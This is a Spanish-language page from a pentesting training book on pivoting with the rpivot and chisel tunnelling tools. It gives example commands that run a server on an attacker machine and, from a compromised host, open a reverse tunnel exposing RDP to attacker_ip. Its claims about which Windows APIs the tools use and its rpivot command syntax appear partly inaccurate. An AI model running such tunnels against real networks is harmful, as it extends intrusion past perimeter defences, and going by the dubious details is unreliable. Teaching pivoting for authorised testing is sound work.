> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/pivoting-for-juniors/rpivot-y-chisel.md).

# RPivot y Chisel

## <mark style="color:green;">**1. rpivot**</mark>

rpivot es una herramienta utilizada para crear túneles de red a través de una máquina comprometida. Usa conexiones inversas y puede crear túneles tanto de TCP como de UDP.

{% embed url="<https://github.com/klsecservices/rpivot>" %}

### <mark style="color:green;">**APIs Utilizadas**</mark><mark style="color:green;">:</mark>

* **CreateProcess**: Para ejecutar procesos y comandos.
* **CreateRemoteThread**: Para inyectar y ejecutar código en procesos remotos.
* **CreateNamedPipe**: Para establecer canales de comunicación entre procesos locales y remotos.

## <mark style="color:green;">**2. chisel**</mark>

chisel es una herramienta rápida de túneles TCP/UDP escrita en Go que puede ser utilizada para realizar pivoting y redirigir tráfico de red.

{% embed url="<https://github.com/jpillora/chisel>" %}

### <mark style="color:green;">**APIs Utilizadas**</mark><mark style="color:green;">:</mark>

* **Socket API (Winsock)**: Para crear y gestionar sockets de red.
* **Connect**: Para establecer conexiones a sockets remotos.
* **Bind**: Para enlazar sockets locales a puertos específicos.
* **Listen**: Para escuchar en puertos específicos para conexiones entrantes.
* **Accept**: Para aceptar conexiones entrantes en sockets.

## <mark style="color:green;">Ejemplo de Configuración con rpivot y chisel</mark>

### <mark style="color:green;">**1. Uso de rpivot**</mark>

* <mark style="color:green;">**Comando en la máquina atacante**</mark><mark style="color:green;">:</mark>

  ```shell
  rpivot -server -bind :8080
  ```
* <mark style="color:green;">**Comando en la máquina comprometida**</mark><mark style="color:green;">:</mark>

  ```shell
  rpivot -client -connect attacker_ip:8080 -local 8081:127.0.0.1:3389
  ```

### <mark style="color:green;">**2. Uso de chisel**</mark>

* <mark style="color:green;">**Comando en la máquina atacante**</mark><mark style="color:green;">:</mark>

  ```shell
  chisel server -p 8000 --reverse
  ```
* <mark style="color:green;">**Comando en la máquina comprometida**</mark><mark style="color:green;">:</mark>

  ```shell
  chisel client attacker_ip:8000 R:8081:127.0.0.1:3389
  ```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cppj/pivoting-for-juniors/rpivot-y-chisel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
